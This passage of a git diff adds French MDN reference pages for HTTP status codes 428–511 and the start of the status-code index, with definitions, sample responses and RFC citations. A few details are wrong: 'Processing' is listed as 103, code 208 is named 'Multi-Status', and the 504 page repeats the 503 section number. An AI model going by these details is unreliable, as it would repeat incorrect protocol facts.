+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("6585", "428 Precondition Required" , "3")}}</td>
+   <td>Additional HTTP Status Codes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTTP/Conditional_requests">Les requêtes conditionnelles en HTTP</a></li>
+ <li>{{HTTPHeader("If-Match")}}</li>
+ <li>{{HTTPStatus(412)}}</li>
+</ul>
diff --git a/files/fr/web/http/status/429/index.html b/files/fr/web/http/status/429/index.html
new file mode 100644
index 0000000000..d35937fc29
--- /dev/null
+++ b/files/fr/web/http/status/429/index.html
@@ -0,0 +1,46 @@
+---
+title: 429 Too Many Requests
+slug: Web/HTTP/Status/429
+tags:
+  - Code de statut
+  - Erreur client
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/429
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de statut de réponse HTTP <code><strong>429 Too Many Requests</strong></code> indique que l'utilisateur a envoyé trop de requêtes en un temps donné.</p>
+
+<p>Un en-tête {{HTTPHeader("Retry-After")}} peut être inclus dans cette réponse afin d'indiquer le temps à attendre pour effectuer une nouvelle requête.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">429 Too Many Requests</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre>HTTP/1.1 429 Too Many Requests
+Content-Type: text/html
+Retry-After: 3600</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("6585", "429 Too Many Requests" , "4")}}</td>
+   <td>Additional HTTP Status Codes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Retry-After")}}</li>
+</ul>
diff --git a/files/fr/web/http/status/431/index.html b/files/fr/web/http/status/431/index.html
new file mode 100644
index 0000000000..a06361f082
--- /dev/null
+++ b/files/fr/web/http/status/431/index.html
@@ -0,0 +1,40 @@
+---
+title: 431 Request Header Fields Too Large
+slug: Web/HTTP/Status/431
+tags:
+  - Code de statut
+  - Erreur client
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/431
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de statut de réponse HTTP <code><strong>431 Request Header Fields Too Large</strong></code> indique que le serveur n'est pas disposé à traiter la requête, car les champs d'en-têtes sont trop grands. La requête peut être renvoyée une fois que les champs des en-têtes de la requête auront été réduits.</p>
+
+<p>Ce code peut être utilisé lorsque tous les champs sont trop grands ou qu'un seul champ est trop grand. Cette erreur ne devrait pas se produire pour les systèmes en production mais peut être employée lorsqu'on teste un nouveau système pour lequel tous les contrôles n'ont pas encore été mis en place.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">431 Request Header Fields Too Large</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("6585", "431 Request Header Fields Too Large" , "5")}}</td>
+   <td>Additional HTTP Status Codes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{Glossary("En-tête")}}</li>
+</ul>
diff --git a/files/fr/web/http/status/451/index.html b/files/fr/web/http/status/451/index.html
new file mode 100644
index 0000000000..6b0cf96dd7
--- /dev/null
+++ b/files/fr/web/http/status/451/index.html
@@ -0,0 +1,66 @@
+---
+title: 451 Unavailable For Legal Reasons
+slug: Web/HTTP/Status/451
+tags:
+  - Code de statut
+  - Erreur client
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/451
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de réponse d'erreur HTTP <code><strong>451</strong></code><strong><code> Unavailable For Legal Reasons</code></strong> indique que l'utilisateur a demandé une ressource qui n'est pas disponible pour des raisons légales (par exemple une page web sous le coup d'une action en justice).</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">451 Unavailable For Legal Reasons</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Cet exemple de réponse est tiré de la RFC IETF (cf. ci-après), et contient une référence à {{interwiki("wikipedia", "Monty_Python's_Life_of_Brian", "<em>Monty Python : La Vie de Brian</em>")}}.</p>
+
+<p>Notez que l'en-tête {{HTTPHeader("Link")}} peut aussi contenir une relation  <code>rel="blocked-by"</code> identifiant l'entité responsable de l'indisponibilité de la ressource (par exemple le nom de la personne ou de l'organisation à l'origine de la demande légale ayant entraîné le retrait du contenu).</p>
+
+<pre>HTTP/1.1 451 Unavailable For Legal Reasons
+Link: &lt;https://spqr.example.org/legislatione&gt;; rel="blocked-by"
+Content-Type: text/html
+
+&lt;html&gt;
+&lt;head&gt;&lt;title&gt;Unavailable For Legal Reasons&lt;/title&gt;&lt;/head&gt;
+&lt;body&gt;
+&lt;h1&gt;Unavailable For Legal Reasons&lt;/h1&gt;
+&lt;p&gt;This request may not be serviced in the Roman Province
+of Judea due to the Lex Julia Majestatis, which disallows
+access to resources hosted on servers deemed to be
+operated by the People's Front of Judea.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7725", "451 Unavailable For Legal Reasons")}}</td>
+   <td>An HTTP Status Code to Report Legal Obstacles</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p>
+
+<p>{{Compat("http/status", "451")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{interwiki("wikipedia", "HTTP_451", "Wikipedia: HTTP 451")}}</li>
+ <li>{{interwiki("wikipedia", "Fahrenheit_451", "Wikipedia: Fahrenheit 451")}} (qui a donné son numéro à ce code de statut)</li>
+</ul>
diff --git a/files/fr/web/http/status/500/index.html b/files/fr/web/http/status/500/index.html
new file mode 100644
index 0000000000..7ad278c891
--- /dev/null
+++ b/files/fr/web/http/status/500/index.html
@@ -0,0 +1,41 @@
+---
+title: 500 Internal Server Error
+slug: Web/HTTP/Status/500
+tags:
+  - Code de statut
+  - Erreur serveur
+  - HTTP
+translation_of: Web/HTTP/Status/500
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de réponse HyperText Transfer Protocol (HTTP) d'erreur serveur <code><strong>500</strong></code><strong><code> Internal Server Error</code></strong> indique que le serveur a rencontré un problème inattendu qui l'empêche de répondre à la requête.</p>
+
+<p>Cette réponse d'erreur est une réponse générique « fourre-tout ». Souvent, les administrateurs des serveurs enregistreront les erreurs qui entraînent un code 500 avec d'autres informations à propos de la requête afin d'empêcher que l'erreur ne se reproduise à nouveau.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">500 Internal Server Error</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "500 Internal Server Error" , "6.6.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>L'information ci-dessous provient du dépôt GitHub de MDN (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p>
+
+<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p>
+
+<p>{{Compat("http/status", "500")}}</p>
diff --git a/files/fr/web/http/status/501/index.html b/files/fr/web/http/status/501/index.html
new file mode 100644
index 0000000000..4222d36b84
--- /dev/null
+++ b/files/fr/web/http/status/501/index.html
@@ -0,0 +1,44 @@
+---
+title: 501 Not Implemented
+slug: Web/HTTP/Status/501
+tags:
+  - Code de statut
+  - Erreur serveur
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/501
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de réponse HTTP d'erreur serveur <code><strong>501</strong></code><strong><code> Not Implemented</code></strong> indique que la méthode de la requête n'est pas prise en charge par le serveur et qu'elle ne peut donc pas être prise en compte. Les serveurs doivent nécessairement prendre en charge les méthodes {{HTTPMethod("GET")}} et {{HTTPMethod("HEAD")}} (pour lesquelles ils ne doivent donc pas renvoyer ce code).</p>
+
+<p>Une erreur 501 ne peut pas être corrigée via le client (c'est-à-dire le navigateur dans la plupart des cas). Il est nécessaire que cela soit corrigé sur le serveur web.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Par défaut, une réponse 501 peut être mise en cache.</p>
+</div>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">501 Not Implemented</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "501 Not Implemented" , "6.6.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p>
+
+<p>{{Compat("http/status", "501")}}</p>
diff --git a/files/fr/web/http/status/502/index.html b/files/fr/web/http/status/502/index.html
new file mode 100644
index 0000000000..9ee59d79e5
--- /dev/null
+++ b/files/fr/web/http/status/502/index.html
@@ -0,0 +1,45 @@
+---
+title: 502 Bad Gateway
+slug: Web/HTTP/Status/502
+tags:
+  - Code de statut
+  - HTTP
+  - Server error
+translation_of: Web/HTTP/Status/502
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de réponse HTTP d'erreur serveur <code><strong>502</strong></code><strong><code> Bad Gateway</code></strong> indique que le serveur, agissant comme une passerelle ou un proxy, a reçu une réponse invalide depuis le serveur en amont.</p>
+
+<p>Une {{interwiki("wikipedia", "Passerelle_(informatique)", "passerelle")}} peut faire référence à différents éléments en réseaux et une erreur 502 est habituellement quelque chose que vous ne pouvez pas corriger, mais qui nécessite une correction sur le serveur web ou le proxy par lequel vous passez pour y accéder.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox notranslate">502 Bad Gateway</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "502 Bad Gateway" , "6.6.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de ce tableau ont été générées à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data/README.md">https://github.com/mdn/browser-compat-data/README.md</a>.</p>
+
+<p>{{Compat("http/status", "502")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPStatus(504)}}</li>
+</ul>
diff --git a/files/fr/web/http/status/503/index.html b/files/fr/web/http/status/503/index.html
new file mode 100644
index 0000000000..551684ba77
--- /dev/null
+++ b/files/fr/web/http/status/503/index.html
@@ -0,0 +1,47 @@
+---
+title: 503 Service Unavailable
+slug: Web/HTTP/Status/503
+tags:
+  - Code de statut
+  - Erreur serveur
+  - HTTP
+translation_of: Web/HTTP/Status/503
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de réponse HTTP d'erreur serveur <code><strong>503</strong></code><strong><code> Service Unavailable</code></strong> indique que le serveur n'est pas prêt à traiter la requête.</p>
+
+<p>Généralement, cela se produit car le serveur est éteint ou inaccessible pour cause de maintenance ou de surcharge. Notez qu'avec cette erreur, il est préférable d'envoyer une page compréhensible pour l'utilisateur qui explique le problème. Cette réponse doit être utilisée pour indiquer un état temporaire et l'en-tête HTTP {{HTTPHeader("Retry-After")}} doit, si possible, indiquer le temps estimé avant la reprise du service.</p>
+
+<p>Les en-têtes relatifs au cache qui sont envoyés avec cette réponse doivent être pris en compte car un code de statut 503 indique un état temporaire et cette réponse ne doit généralement pas être mise en cache.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox notranslate">503 Service Unavailable</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "503 Service Unavailable" , "6.6.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p>
+
+<p>{{Compat("http/status", "503")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Retry-After")}}</li>
+</ul>
diff --git a/files/fr/web/http/status/504/index.html b/files/fr/web/http/status/504/index.html
new file mode 100644
index 0000000000..e4d228fc25
--- /dev/null
+++ b/files/fr/web/http/status/504/index.html
@@ -0,0 +1,46 @@
+---
+title: 504 Gateway Timeout
+slug: Web/HTTP/Status/504
+tags:
+  - Code de statut
+  - Erreur serveur
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/504
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de réponse HTTP d'erreur serveur <code><strong>504</strong></code><strong><code> Gateway Timeout</code></strong> indique que le serveur, agissant comme passerelle ou proxy, ne peut pas recevoir de réponse dans les temps.</p>
+
+<p>Une {{interwiki("wikipedia", "Passerelle_(informatique)", "Passerelle")}} peut faire référence à différents éléments en réseaux et une erreur 504 est habituellement quelque chose que vous ne pouvez pas corriger mais qui nécessite une correction sur le serveur web ou sur le proxy par lequel vous passez pour y accéder.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">504 Gateway Timeout</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "504 Gateway Timeout" , "6.6.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p>
+
+<p>{{Compat("http/status", "504")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPStatus(502)}}</li>
+</ul>
diff --git a/files/fr/web/http/status/505/index.html b/files/fr/web/http/status/505/index.html
new file mode 100644
index 0000000000..826a31eb82
--- /dev/null
+++ b/files/fr/web/http/status/505/index.html
@@ -0,0 +1,38 @@
+---
+title: 505 HTTP Version Not Supported
+slug: Web/HTTP/Status/505
+tags:
+  - Code de statut
+  - Erreur serveur
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Status/505
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de réponse HTTP d'erreur serveur <code><strong>505</strong></code><strong><code> HTTP Version Not Supported</code></strong> indique que la version du protocole HTTP utilisée dans la requête n'est pas prise en charge par le serveur.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">505 HTTP Version Not Supported</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "505 HTTP Version Not Supported" , "6.6.6")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Upgrade")}}</li>
+</ul>
diff --git a/files/fr/web/http/status/506/index.html b/files/fr/web/http/status/506/index.html
new file mode 100644
index 0000000000..010112acf8
--- /dev/null
+++ b/files/fr/web/http/status/506/index.html
@@ -0,0 +1,35 @@
+---
+title: 506 Variant Also Negotiates
+slug: Web/HTTP/Status/506
+tags:
+  - Erreur serveur
+  - HTTP
+  - Statut de réponse
+translation_of: Web/HTTP/Status/506
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de réponse HTTP <code><strong>506 Variant Also Negotiates</strong></code> peut être donné dans le contexte du protocol <code><strong>Transparent Content Negotiation</strong></code> (voir <a href="https://tools.ietf.org/html/rfc2295">RFC 2295</a>). Ce protocol active un client pour recevoir la meilleure variante d'une ressource donnée, où le serveur supporte de multiples variantes.</p>
+
+<p>Le statut <code><strong>Variant Also Negotiates</strong></code> indique une erreur de configuration interne du serveur dans laquelle la variante choisie est elle-même configurée pour s'engager dans la négociation de contenu, et n'est donc pas un point final de négociation approprié.</p>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox notranslate">506 Variant Also Negotiates</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("2295", "506 Variant Also Negotiates" , "8.1")}}</td>
+   <td>Transparent Content Negotiation in HTTP</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/http/status/507/index.html b/files/fr/web/http/status/507/index.html
new file mode 100644
index 0000000000..51d3061a4a
--- /dev/null
+++ b/files/fr/web/http/status/507/index.html
@@ -0,0 +1,35 @@
+---
+title: 507 Insufficient Storage
+slug: Web/HTTP/Status/507
+tags:
+  - Code de statut
+  - Erreur serveur
+  - HTTP
+translation_of: Web/HTTP/Status/507
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de réponse HTTP <code><strong>507 Insufficient Storage</strong></code> peut être donné dans le contexte du protocol <code><strong>Web Distributed Authoring and Versioning</strong></code>(WebDAV) (voir <a href="https://tools.ietf.org/html/rfc4918">RFC 4918</a>).</p>
+
+<p>Il indique que la méthode ne peut pas être traité car le serveur ne peut pas stocker la représentation nécessaire pour accomplir la requête avec succès.</p>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox notranslate">507 Insufficient Storage</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("4918", "507 Insufficient Storage" , "11.5")}}</td>
+   <td>Web Distributed Authoring and Versioning</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/http/status/508/index.html b/files/fr/web/http/status/508/index.html
new file mode 100644
index 0000000000..7e97a0ac05
--- /dev/null
+++ b/files/fr/web/http/status/508/index.html
@@ -0,0 +1,36 @@
+---
+title: 508 Loop Detected
+slug: Web/HTTP/Status/508
+tags:
+  - '508'
+  - Code de statut
+  - Erreur serveur
+  - HTTP
+translation_of: Web/HTTP/Status/508
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de réponse HTTP <code><strong>508 Loop Detected</strong></code> peut être donné dans le contexte du protocol <code><strong>Web Distributed Authoring and Versioning</strong></code> (WebDAV).</p>
+
+<p>Il indique que le serveur termine une opération car il rencontre une boucle infinie pendant le traitement de la requête avec "Depth: infinity". Ce statut indique que l'entièreté de l'opération a échouée.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox notranslate">508 Loop Detected</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("5842", "508 Loop Detected" , "7.2")}}</td>
+   <td>Web Distributed Authoring and Versioning</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/http/status/510/index.html b/files/fr/web/http/status/510/index.html
new file mode 100644
index 0000000000..cd2810ad85
--- /dev/null
+++ b/files/fr/web/http/status/510/index.html
@@ -0,0 +1,35 @@
+---
+title: 510 Not Extended
+slug: Web/HTTP/Status/510
+tags:
+  - Code de statut
+  - Erreur serveur
+  - HTTP
+  - Server error
+  - Status code
+translation_of: Web/HTTP/Status/510
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de statut de réponse HTTP <code><strong>510 Not Extended</strong></code> est envoyé dans le contexte de "l'HTTP Extension Framework", defini dans le <a href="https://tools.ietf.org/html/rfc2774">RFC 2774</a>.</p>
+
+<p>Dans cette spécification, un client peut envoyer une demande qui contient une déclaration d'extension et qui décrit l'extension à utiliser. Si le serveur reçoit une telle demande, mais que les extensions décrites ne sont pas prises en charge pour la requête, alors, le serveur répond avec le code de statut 510.</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">510 Not Extended</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("2774", "510 Not Extended" , "7")}}</td>
+   <td>Cadre pour les extensions HTTP (<em>An HTTP Extension Framework</em>)</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/http/status/511/index.html b/files/fr/web/http/status/511/index.html
new file mode 100644
index 0000000000..d43db2371d
--- /dev/null
+++ b/files/fr/web/http/status/511/index.html
@@ -0,0 +1,43 @@
+---
+title: 511 Network Authentication Required
+slug: Web/HTTP/Status/511
+tags:
+  - HTTP
+  - HTTP Status Code
+  - Reference
+  - Server error
+  - Status code
+translation_of: Web/HTTP/Status/511
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Le code de réponse HTTP d'erreur serveur <code><strong>511 Network Authentication Required</strong></code> indique que le client a besoin de s'authentifier pour obtenir l'accès au réseau.</p>
+
+<p>Ce statut n'est pas généré par le serveur d'origine mais par un proxy interceptant qui contrôle l'accès au réseau.</p>
+
+<p>Les responsables des réseaux demandent parfois de s'authentifier, d'accepter des conditions d'utilisation ou autres avant d'avoir accès à Internet (par exemple dans un cybercafé ou un aéroport). Les clients qui n'ont pas rempli ces obligations sont souvent identifiés via leur adresse ({{Glossary("MAC")}}).</p>
+
+<h2 id="Statut">Statut</h2>
+
+<pre class="syntaxbox">511 Network Authentication Required</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("6585", "511 Network Authentication Required" , "6")}}</td>
+   <td>Additional HTTP Status Codes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{Glossary("Proxy")}}</li>
+</ul>
diff --git a/files/fr/web/http/status/index.html b/files/fr/web/http/status/index.html
new file mode 100644
index 0000000000..c49a6cca41
--- /dev/null
+++ b/files/fr/web/http/status/index.html
@@ -0,0 +1,188 @@
+---
+title: Codes de réponse HTTP
+slug: Web/HTTP/Status
+tags:
+  - HTTP
+  - Status codes
+  - TopicStub
+translation_of: Web/HTTP/Status
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Les codes de statut de réponse HTTP indiquent si une requête <a href="/en-US/docs/Web/HTTP">HTTP</a> a été exécutée avec succès ou non. Les réponses sont regroupées en cinq classes: </p>
+
+<ol>
+ <li>Les réponses informatives (100 - 199),</li>
+ <li>Les réponses de succès (200 - 299),</li>
+ <li>Les redirections (300 - 399),</li>
+ <li>Les erreurs du client (400 - 499),</li>
+ <li> Les erreurs du serveur (500 - 599).</li>
+</ol>
+
+<h2 id="Réponses_informatives">Réponses informatives</h2>
+
+<dl>
+ <dt>{{HTTPStatus(100, "100 Continue")}}</dt>
+ <dd>Cette réponse intermédiaire indique que tout est OK pour le moment et que le client peut continuer sa requête ou l'ignorer si celle-ci est déjà finie.</dd>
+ <dt>{{HTTPStatus(101, "101 Switching Protocol")}}</dt>
+ <dd>Ce code est envoyé en réponse à un en-tête de requête {{HTTPHeader("Upgrade")}} de la part du client et indique le protocole sur lequel passe le serveur.</dd>
+ <dt>{{HTTPStatus(103, "103 Processing")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>Ce code indique que le serveur a reçu et traite la requête, mais qu'aucune réponse n'est disponible pour le moment.</dd>
+</dl>
+
+<h2 id="Réponses_de_succès">Réponses de succès</h2>
+
+<dl>
+ <dt>{{HTTPStatus(200, "200 OK")}}</dt>
+ <dd>La requête a réussi. Le signification du succès peut varier selon la méthode HTTP :</dd>
+ <dd>GET : La ressource a été récupérée et est retransmise dans le corps du message.<br>
+ HEAD : Les en-têtes d'entité sont dans le corps du message.<br>
+ POST : La ressource décrivant le résultat de l'action est transmise dans le corps du message.<br>
+ TRACE : Le corps du message contient le message de requête tel que reçu par le serveur</dd>
+ <dt>{{HTTPStatus(201, "201 Created")}}</dt>
+ <dd>La requête a réussi et une nouvelle ressource a été créée en guise de résultat. Il s'agit typiquement de la réponse envoyée après une requête PUT.</dd>
+ <dt>{{HTTPStatus(202, "202 Accepted")}}</dt>
+ <dd>La requête a été reçue mais n'a pas encore été traitée. C'est une réponse évasive, ce qui signifie qu'il n'y a aucun moyen en HTTP d'envoyer une réponse asynchrone ultérieure indiquant le résultat issu du traitement de la requête. Elle est destinée aux cas où un autre processus ou serveur gère la requête, et peut être utile pour faire du traitement par lots.</dd>
+ <dt>{{HTTPStatus(203, "203 Non-Authoritative Information")}}</dt>
+ <dd>Ce code de réponse signifie que l'ensemble de méta-informations renvoyé n'est pas exactement l'ensemble disponible sur le serveur d'origine, mais plutôt un ensemble collecté à partir d'une copie locale ou tierce. À l'exception de cette condition, une réponse 200 OK est préférable.</dd>
+ <dt>{{HTTPStatus(204, "204 No Content")}}</dt>
+ <dd>Il n'y a pas de contenu à envoyer pour cette requête, mais les en-têtes peuvent être utiles. L'agent utilisateur peut mettre à jour ses en-têtes en cache pour cette ressource en les remplaçant par les nouveaux.</dd>
+ <dt>{{HTTPStatus(205, "205 Reset Content")}}</dt>
+ <dd>Ce code de réponse est envoyé après avoir traité une requête indiquant à l'agent utilisateur qu'il peut réinitialiser la vue du document qui a envoyé la requête.</dd>
+ <dt>{{HTTPStatus(206, "206 Partial Content")}}</dt>
+ <dd>Ce code de réponse est utilisé en réaction à l'en-tête Range envoyé par le client pour séparer le téléchargement en plusieurs flux.</dd>
+ <dt>{{HTTPStatus(207, "207 Multi-Status")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>Une réponse multi-statut donne des informations sur des ressources multiples dans les situations où les codes de statut multiples sont appropriés.</dd>
+ <dt>{{HTTPStatus(208, "208 Multi-Status")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>Utilisé au sein d'un DAV : élément de réponse propstat pour éviter d'énumérer à maintes reprises les membres internes de bindings multiples vers la même collection.</dd>
+ <dt>{{HTTPStatus(226, "226 IM Used")}} (<a href="https://tools.ietf.org/html/rfc3229">HTTP Delta encoding</a>)</dt>
+ <dd>Le serveur a exécuté une requête GET pour la ressource, et la réponse est une représentation du résultat d'une ou plusieurs manipulations d'instance appliquées à l'instance courante.</dd>
+</dl>
+
+<h2 id="Messages_de_redirection">Messages de redirection</h2>
+
+<dl>
+ <dt>{{HTTPStatus(300, "300 Multiple Choice")}}</dt>
+ <dd>La requête a plusieurs réponses possibles. L'agent utilisateur ou l'utilisateur doit choisir l'une d'entre elles. Il n'y a pas de manière standard pour choisir l'une de ces réponses.</dd>
+ <dt>{{HTTPStatus(301, "301 Moved Permanently")}}</dt>
